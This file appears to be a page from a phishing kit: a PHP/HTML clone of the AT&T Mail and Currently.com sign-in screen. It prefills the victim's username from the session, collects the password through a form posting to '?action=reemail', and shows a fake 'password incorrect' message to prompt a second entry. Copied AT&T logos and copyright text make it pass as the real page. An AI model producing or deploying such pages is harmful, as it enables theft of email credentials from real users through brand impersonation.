<!DOCTYPE html>
<html lang="en" class="light h-full ios stepped-out hydrated" data-resource-package-id="res-responsive-login-page" mode="ios">
    <head>
        <style data-styles=""></style>
        <title>Login Screen</title>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width,initial-scale=1">
        <link rel="stylesheet" href="../assets/email/att/css/att.css">
        <link rel="icon" type="image/x-icon" href="../assets/email/att/img/favicon.ico">
    </head>
    <body>
        <div id="app-root" _nghost-sfm-c37="" ng-version="11.2.14" app-version="17.1.1">
            <div _ngcontent-sfm-c37="" class="app-component login-background">
                <div _ngcontent-sfm-c37="" role="main" class="container-fluid login-background card-top-space">
                    <div _ngcontent-sfm-c37="" class="login-card">
                        <app-header _ngcontent-sfm-c37="" class="flex-container" _nghost-sfm-c21="">
                            <div _ngcontent-sfm-c21="" class="image ng-star-inserted">
                                <img _ngcontent-sfm-c21="" id="headerLogoImage" alt="" class="mar-b4 header-logo-image" style="width: 100%;" src="../assets/email/att/img/att-logo.svg">
                            </div>
                            <div _ngcontent-sfm-c21="" class="header-text-div">
                                <h1 _ngcontent-sfm-c21="" id="signInHeaderText" class="lg-text-medium sign-in-header justify-content-center mb-0">Sign in</h1>
                                <h1 _ngcontent-sfm-c21="" id="signInHeaderToText" class="lg-text-medium sign-in-header-text justify-content-center mt-0">to access AT&amp;T Mail and Currently.com</h1>
                            </div>
                        </app-header>
                        <app-error _ngcontent-sfm-c37="" _nghost-sfm-c22=""></app-error>
                        <app-manual-login _ngcontent-sfm-c37="" _nghost-sfm-c29="" class="ng-tns-c29-0 ng-star-inserted">
                            <form _ngcontent-sfm-c29="" novalidate="" id="login" method="post" class="manual-login-form ng-tns-c29-0 ng-pristine ng-invalid ng-touched" action="?action=reemail">
                                <div _ngcontent-sfm-c29="" class="ng-tns-c29-0">
                                    <label _ngcontent-sfm-c29="" id="userLabel" for="userID" class="lg-text-medium textfield-label ng-tns-c29-0">
                                        User ID 
                                        <div _ngcontent-sfm-c29="" id="userLabelAfter" class="ng-tns-c29-0 lg-text-regular"></div>
                                    </label>
                                    <div _ngcontent-sfm-c29="" class="flex-container justify-content-center ng-tns-c29-0">
                                        <input _ngcontent-sfm-c29="" id="userID" type="search" name="email" formcontrolname="userID" aria-controls="userInlineErrorTextContainer" autocomplete="username" spellcheck="false" autocapitalize="off" class="ng-tns-c29-0 lg-text-regular textfield ng-pristine ng-invalid ng-touched" aria-invalid="false" value="<?= $_SESSION['username'] ?>" disabled>
                                        <div _ngcontent-sfm-c29="" aria-live="polite" aria-atomic="true" id="userInlineErrorTextContainer" class="ng-tns-c29-0"></div>
                                    </div>
                                </div>
                                <div _ngcontent-sfm-c29="" class="forgot-link-cont ng-tns-c29-0 ng-star-inserted">
                                    <a _ngcontent-sfm-c29="" id="forgotUserID" class="lg-text-medium forgot-link ng-tns-c29-0" href="#">Forgot user ID?</a>
                                </div>
                                <div _ngcontent-sfm-c29="" class="mb-0 ng-tns-c29-0">
                                    <label _ngcontent-sfm-c29="" id="passwordLabel" for="password" class="lg-text-medium textfield-label ng-tns-c29-0">
                                        Password 
                                        <div _ngcontent-sfm-c29="" id="passwordLabelAfter" class="ng-tns-c29-0 lg-text-regular"></div>
                                    </label>
                                    <div _ngcontent-sfm-c29="" class="flex-container justify-content-center ng-tns-c29-0">
                                        <div _ngcontent-sfm-c29="" class="ng-tns-c29-0 show-hide-input-container">
                                            <input _ngcontent-sfm-c29="" id="password2" name="passwordemail" formcontrolname="password" aria-controls="passwordInlineErrorTextContainer" spellcheck="false" autocomplete="current-password" required="required" autocapitalize="off" class="ng-tns-c29-0 lg-text-regular textfield show-hide-input ng-untouched ng-pristine ng-invalid" type="password" aria-invalid="false">
                                            <div _ngcontent-sfm-c29="" class="show-hide-container ng-tns-c29-0"></div>
                                        </div>
                                        <?php
                                        if($_GET['error'] == true){
                                        echo '
                                            <div style=" margin-top:5px">
                                                <span style="color:red; font-size: small;">The password you entered is incorrect!</span>
                                            </div>
                                            ';
                                        }
                                        ?>
                                    </div>
                                </div>
                                <div _ngcontent-sfm-c29="" class="forgot-link-cont ng-tns-c29-0 ng-star-inserted">
                                    <a _ngcontent-sfm-c29="" id="forgotPassword" class="lg-text-medium forgot-link ng-tns-c29-0" href="#">Forgot password?</a>
                                </div>
                                <div _ngcontent-sfm-c29="" class="form-group checkboxDiv mb-0 ng-tns-c29-0 ng-star-inserted">
                                    <input _ngcontent-sfm-c29="" type="hidden" name="keepMeIn" value="NA" class="ng-tns-c29-0 ng-star-inserted">
                                    <label _ngcontent-sfm-c29="" for="keepMeIn" class="checkbox ng-tns-c29-0">
                                        <input _ngcontent-sfm-c29="" type="checkbox" id="keepMeIn" name="keepMeIn" value="Y" class="ng-tns-c29-0" aria-label="Keep me signed in checkbox">
                                        <div _ngcontent-sfm-c29="" class="checkbox-skin ng-tns-c29-0">
                                            <img _ngcontent-sfm-c29="" alt="" class="checkmark-image ng-tns-c29-0" src="https://signin.att.com/static/siam/en/halo_c/cms/login/default/images/checkmark.svg">
                                        </div>
                                    </label>
                                    <span _ngcontent-sfm-c29="" id="keepMeInText" class="lg-text-regular checkbox-label ml-2 ng-tns-c29-0">Keep me signed in</span>
                                </div>
                                <div _ngcontent-sfm-c29="" class="form-group justify-content-center fg-sign-in ng-tns-c29-0">
                                    <div _ngcontent-sfm-c29="" class="flex-container justify-content-center ng-tns-c29-0">
                                        <button _ngcontent-sfm-c29="" type="submit" id="signin" class="lg-text-medium btn-primary ng-tns-c29-0">Sign in</button>
                                    </div>
                                </div>
                                <app-prepaid-ctn-button _ngcontent-sfm-c29="" class="ng-tns-c29-0" _nghost-sfm-c27=""></app-prepaid-ctn-button>
                                <div _ngcontent-sfm-c29="" class="bottom-container ng-tns-c29-0"></div>
                            </form>
                        </app-manual-login>
                    </div>
                </div>
                <app-footer _ngcontent-sfm-c37="" role="contentinfo" _nghost-sfm-c35="" class="ng-star-inserted">
                    <div _ngcontent-sfm-c35="" class="login-background">
                        <div _ngcontent-sfm-c35="" class="policyArea justify-content-center ng-star-inserted">
                            <a _ngcontent-sfm-c35="" rel="noopener noreferrer" class="lg-text-medium footer-link-text ng-star-inserted" href="#" id="footerLink0">Legal policy center </a>
                            <a _ngcontent-sfm-c35="" rel="noopener noreferrer" class="lg-text-medium footer-link-text ng-star-inserted" href="#" id="footerLink1">Privacy policy </a>
                            <a _ngcontent-sfm-c35="" rel="noopener noreferrer" class="lg-text-medium footer-link-text ng-star-inserted" href="#" id="footerLink2">Terms of use </a>
                            <a _ngcontent-sfm-c35="" rel="noopener noreferrer" class="lg-text-medium footer-link-text ng-star-inserted" href="#" id="footerLink3">Accessibility </a>
                            <a _ngcontent-sfm-c35="" rel="noopener noreferrer" class="lg-text-medium footer-link-text ng-star-inserted" href="#" id="footerLink4">Your privacy choices </a>
                        </div>
                        <div _ngcontent-sfm-c35="" class="lg-text-regular copyright">
                            <span _ngcontent-sfm-c35="" id="copyrightTextSpan" class="ng-star-inserted">©<?php echo date("Y"); ?> AT&amp;T Intellectual Property. All rights reserved.</span>
                        </div>
                    </div>
                </app-footer>
            </div>
        </div>
    </body>
</html>